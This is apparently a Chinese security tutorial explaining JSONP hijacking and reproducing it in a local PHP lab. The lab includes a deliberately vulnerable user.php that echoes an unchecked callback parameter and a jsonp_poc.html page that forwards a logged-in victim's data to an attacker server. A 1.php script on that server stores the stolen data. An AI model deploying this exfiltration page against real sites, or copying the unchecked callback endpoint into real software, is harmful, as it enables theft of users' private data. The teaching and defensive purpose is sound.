提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
-
- JSONP劫持漏洞描述
- JSONP漏洞劫持原理
- 案例分析
-
- login.php页面
- user.php页面
- jsonp劫持验证脚本
- 构造恶意网站
- [jsonp_poc.html 远程调用脚本](#jsonp_poc.html 远程调用脚本)
- 1.php内容
- 关键步骤
- 总结
JSONP劫持漏洞描述
Jsonp(JSON with Padding)是json的一种"使用模式",可以让网页从别的域名(网站)那获取资料,即跨域读取数据。
同源策略
为什么我们从不同的域(网站)访问数据需要一个特殊的技术(JSONP )呢?这是因为同源策略,同源策略,它是由Netscape提出的一个著名的安全策略,现在所有支持JavaScript的浏览器都会使用这个策略。
同源策略 :具体的可以看官方解释
- 如果两个 URL 的协议、端口(如果有指定的话)和主机都相同的话,则这两个 URL 是同源的。这个方案也被称为"协议/主机/端口元组",或者直接是"元组"。
下表给出了与 URL http://store.company.com/dir/page.html 的源进行对比的示例:

可能存在的漏洞点
同时,我们应该注意是否有传⼊的callback值(用户输入可控)会在结果⾥⾯直接返回。因此,如果该参数过滤不严格。可以随便输⼊:callback值为:alert('1');parseResponse字符串,返回结果会打印个alert窗⼝,然后也会正常执⾏。
攻击者模拟⽤户向有漏洞的服务器发送JSONP请求,然后就获取到了⽤户的某些信息,再将这些信息发送到攻击者可控的服务。
JSONP漏洞劫持原理
JSONP核心原理:通过动态创建<script>标签实现跨域,script标签的src不受浏览器同源策略约束。受同源策略管控的XmlHttpRequest仅能请求同协议、同域名、同端口的同源资源,而HTML的script标签天然支持跨域加载,后端接口可返回一段可执行JS代码,借助JSON格式完成前端数据传递。
举个场景示例:
(1)现有站点A(恶意网站 )、站点B(正规业务网站)。用户在B网站完成注册,留存手机号、身份证、账号等敏感隐私数据,B开放了一处JSONP接口,正常场景下该接口用于在B站内页面渲染展示用户个人数据。
(2)若B站点的JSONP接口缺少Referer/Origin来源校验,存在安全漏洞;当登录过B的用户访问恶意网站A时,A即可构造恶意页面,利用该漏洞发起JSONP跨域劫持,窃取用户在B站点的隐私信息。

具体关系如上图所示;
JSONP漏洞攻击方法
JSONP 劫持的攻击思路与 CSRF 相近:二者都需要目标用户处于已登录状态(会话身份未失效),诱导用户访问攻击者构造的恶意页面。
攻击者先寻找携带敏感数据的 JSONP 接口,编写恶意 JS 代码嵌入页面;受害者点开恶意网页后,页面自动跨域调用目标站点的 JSONP 接口,接口返回的用户隐私数据会被恶意脚本捕获,最终回传至攻击者控制的远程服务器。
话不多说,我们直接用几个案例加深大家的印象
案例分析
这里我们现在PHPstudy创建一个网页:www.zhenggui.com,随后将下述几个文件放进去:


login.php页面
该代码主要负责用户登陆:
php
<?php
session_start();
// 接收表单提交
if($_POST){
$username = $_POST['username'];
$password = $_POST['password'];
// 固定账号密码
if($username === 'admin' && $password === 'admin123'){
// 登录成功写入session标记
$_SESSION['name'] = $username;
// 跳转到user.php
header("Location: user.php");
exit;
}else{
$msg = "账号或密码错误";
}
}
?>
<!-- 登录HTML表单 -->
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>登录页面</title>
</head>
<body>
<?php if(isset($msg)) echo $msg; ?>
<form method="post" action="">
username:<input type="text" name="username" value="admin"><br>
password:<input type="password" name="password"><br>
<input type="submit" name="login" value="login">
</form>
</body>
</html>
这里采用固定密码 admin / admin123进行登陆;
user.php页面
登陆后网站展示JSON数据的页面:(模拟某个网站存在的漏洞)
php
<?php
session_start();
// 未登录校验
if(empty($_SESSION['name'])){
echo "no login";
// 未登录跳转登录页
// header("location: login.php");
exit;
}
header('Content-Type: application/json');
$callback = isset($_GET['callback']) ? $_GET['callback'] : '';
if(!empty($callback)){
// JSONP格式返回数据
echo $callback.'({"id":1,"name":"w1nner","email":"admin@1qaz2wsx.com"});';
}else{
// 普通JSON
echo '{"id":1,"name":"w1nner","email":"admin@1qaz2wsx.com"}';
}
?>
显示页面如下:

代码解释:
callback是可控参数是⼀个给脚本动态调⽤数据的例如获取json数据进⾏后期处理。 在挖掘漏洞的时候关注callback、call等关键词;

输⼊callback=123435看到⻚⾯回显123435 ,这就代表存在⼀个可控参数;
jsonp劫持验证脚本
js
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
<!--在线引入,无需本地js文件-->
<script src="https://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js"></script>
<script>
function jsonp(data){
alert(JSON.stringify(data));
}
</script>
</head>
<body>
<script src="http://www.zhenggui.com:9091/user.php?callback=jsonp">
</script>
</body>
</html>
把这个⻚⾯放在⽬标⽹站上⾏就会弹出相关敏感信息:

接下来我们的目的:
- 诱导用户点击攻击者构造的恶意网站的jsonp劫持脚本(就是上面这个) ,从而获取该用户/网站的 JSON数据
构造恶意网站
这里我们继续在小P创建一个新网站:www.eyiwangzhan.com:

随后将上述的jsonp劫持脚本,放到恶意网站的目录下:

因为有同源策略的关系,我们是调用不了的;
bash
- 同源策略:不同域名调用不了数据;
- JSONP可以实现跨域调用;

因为我们在恶意网站上访问,并没有携带Cookie数据,所以提示没有login;
jsonp_poc.html 远程调用脚本
所以这里我们准备一个远程脚本:通常我们是把这个页面放在远程的⽬标上让受害者访问改目标上自动执行获取敏感数据
bash
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
<!--CDN在线引入jQuery,无需本地jquery-2.1.4.min.js文件-->
<script src="https://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js"></script>
<script>
function jsonp(data){
//alert(v.name);
var xmlhttp = new XMLHttpRequest();
//此处远程接收地址按需替换成你的攻击者服务器地址
var url = "http://eyiwangzhan/1.php?file=" + JSON.stringify(data);
xmlhttp.open("GET",url,true);
xmlhttp.send();
}
</script>
<!--替换为你的目标域名接口-->
<script src="http://www.zhenggui.com:9091/user.php?callback=jsonp"></script>
</head>
<body>
</body>
</html>
脚本整体作用 :<script>标签不受浏览器同源策略限制,可以跨域名加载脚本;目标user.php是 JSONP 接口,收到callback=jsonp参数后,返回一段 JS:jsonp({用户隐私数据}),浏览器自动执行页面里预先定义的jsonp()函数 ,用户数据就传入data变量;
src访问之后执⾏jsnop⾥的代码把敏感数据 保存到远程服务器上。
关键两处地址含义:
- **http://www.zhenggui.com:9091/user.php**:被攻击目标接口(存在 JSONP 劫持漏洞,返回登录用户敏感信息);
- **http://远程服务器/1.php**:攻击者自己的收信脚本,作用:接收上传的用户数据、保存到服务器日志。
1.php内容
php
<?php
if($_GET['file']){
file_put_contents('json.txt',$_GET['file']);
}
首先判断是否有数据,有数据的话就保存至json.txt文件里;
关键步骤
所以这里我们用某种手段把jsonp_poc.html 远程调用脚本放到了目标网站上:


把jsonp_poc.html放在远程服务器(恶意网站)上。当受害者访问改⻚⾯时的 就会受到劫持。 劫持的数据就会保存远程服务器上。测试的时候记得带上
token不然远程访问会失败。

随后诱导用户点击了该脚本:**http://www.eyiwangzhan.com:9087/jsonp_poc.html**(带上cookie)
(1)第一步:抓包模拟用户点击恶意网站的劫持脚本

(2)第二步:获取用户的cookie
bash
Cookie: PHPSESSID=rf7ufdd3q8p9q970uncsdduqo0

(3)将cookie放到刚刚抓的包里

成功生成返回了信息:

总结
漏洞成因:
- 同源策略 :浏览器安全机制,AJAX(XHR)禁止跨域读取数据,但
<script>标签src不受同源限制,JSONP依靠该特性实现跨域数据交互。 - 漏洞根源 :服务端JSONP接口未校验请求来源(Referer/Origin)、无随机令牌校验,可被任意站点自定义回调函数,由此产生劫持漏洞。
攻击原理与手段:
- 原理 :漏洞接口接收自定义
callback参数,返回回调函数(用户隐私数据)格式JS代码;恶意页面提前定义同名回调,接口返回代码在浏览器执行后,用户数据直接流入恶意脚本。 - 攻击方式和CSRF近似 :需要受害者保持目标网站登录状态(Cookie有效),诱导访问攻击者搭建的恶意页面;页面自动跨域调用漏洞接口,窃取隐私后回传攻击者服务器。
- 业务端 :
login.php实现账号登录(admin/admin123),登录写入Session;user.php是存在漏洞的JSONP接口,登录后返回用户敏感信息,无来源校验。 - 攻击端 :
- 恶意页面
jsonp_poc.html:定义接收数据的回调函数,通过script标签跨域请求user.php; - 接收脚本
1.php:部署在攻击者服务器,接收劫持到的用户数据并落地保存。
- 恶意页面
- 复现步骤:受害者登录正规站点→保留登录会话→访问恶意网页→隐私数据自动被劫持上传。